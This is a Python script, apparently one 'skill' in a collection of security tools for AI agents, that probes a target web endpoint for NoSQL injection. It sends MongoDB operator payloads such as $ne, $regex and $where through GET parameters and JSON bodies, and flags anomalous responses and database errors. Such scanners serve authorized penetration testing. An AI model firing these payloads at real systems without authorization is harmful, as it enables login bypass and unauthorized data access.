Files
T
mukul975 c21af3347e Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal
- Add scripts/agent.py and references/api-reference.md to all remaining skills
- Update all 648 LICENSE files: copyright now reads 'Mahipal'
- Add implementing-security-monitoring-with-datadog (new skill with full anatomy)
- All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
2026-03-11 00:22:12 +01:00

138 lines
4.7 KiB
Python

#!/usr/bin/env python3
"""Agent for testing NoSQL injection vulnerabilities in web applications."""
import argparse
import json
import sys
from datetime import datetime, timezone
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
NOSQL_PAYLOADS_GET = [
("[$ne]", ""),
("[$gt]", ""),
("[$regex]", ".*"),
("[$exists]", "true"),
("[$nin][]", "impossible"),
]
NOSQL_PAYLOADS_JSON = [
{"$ne": ""},
{"$gt": ""},
{"$regex": ".*"},
{"$exists": True},
{"$where": "1==1"},
{"$or": [{"a": 1}, {"b": 1}]},
]
ERROR_INDICATORS = [
"mongoerror", "bson", "objectid", "cast to objectid",
"json parse error", "syntaxerror", "unexpected token",
"cannot read property", "mongodb",
]
def test_get_injection(url, param, token=None):
"""Test NoSQL injection via GET parameter manipulation."""
if not HAS_REQUESTS:
return []
findings = []
headers = {"Authorization": f"Bearer {token}"} if token else {}
try:
baseline = requests.get(f"{url}?{param}=test", headers=headers, timeout=10, verify=False)
baseline_len = len(baseline.text)
except requests.RequestException:
return findings
for suffix, value in NOSQL_PAYLOADS_GET:
try:
test_url = f"{url}?{param}{suffix}={value}"
resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
indicators = []
if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
for err in ERROR_INDICATORS:
if err in resp.text.lower():
indicators.append(f"Error indicator: {err}")
if indicators:
findings.append({
"param": param, "payload": f"{param}{suffix}={value}",
"method": "GET", "indicators": indicators,
})
except requests.RequestException:
continue
return findings
def test_json_injection(url, field, token=None):
"""Test NoSQL injection via JSON body."""
if not HAS_REQUESTS:
return []
findings = []
headers = {"Authorization": f"Bearer {token}"} if token else {}
headers["Content-Type"] = "application/json"
try:
baseline = requests.post(url, json={field: "test"}, headers=headers, timeout=10, verify=False)
baseline_len = len(baseline.text)
except requests.RequestException:
return findings
for payload in NOSQL_PAYLOADS_JSON:
try:
resp = requests.post(url, json={field: payload}, headers=headers, timeout=10, verify=False)
indicators = []
if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3:
indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}")
for err in ERROR_INDICATORS:
if err in resp.text.lower():
indicators.append(f"Error indicator: {err}")
if indicators:
findings.append({
"field": field, "payload": str(payload),
"method": "POST", "indicators": indicators,
})
except requests.RequestException:
continue
return findings
def main():
parser = argparse.ArgumentParser(
description="Test NoSQL injection vulnerabilities (authorized testing only)"
)
parser.add_argument("--url", required=True, help="Target URL")
parser.add_argument("--param", help="GET parameter to test")
parser.add_argument("--field", help="JSON field to test")
parser.add_argument("--token", help="Bearer token")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] NoSQL Injection Testing Agent")
print("[!] For authorized security testing only")
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "findings": []}
if args.param:
findings = test_get_injection(args.url, args.param, args.token)
report["findings"].extend(findings)
if args.field:
findings = test_json_injection(args.url, args.field, args.token)
report["findings"].extend(findings)
report["risk_level"] = "CRITICAL" if report["findings"] else "LOW"
print(f"[*] NoSQL injection findings: {len(report['findings'])}")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()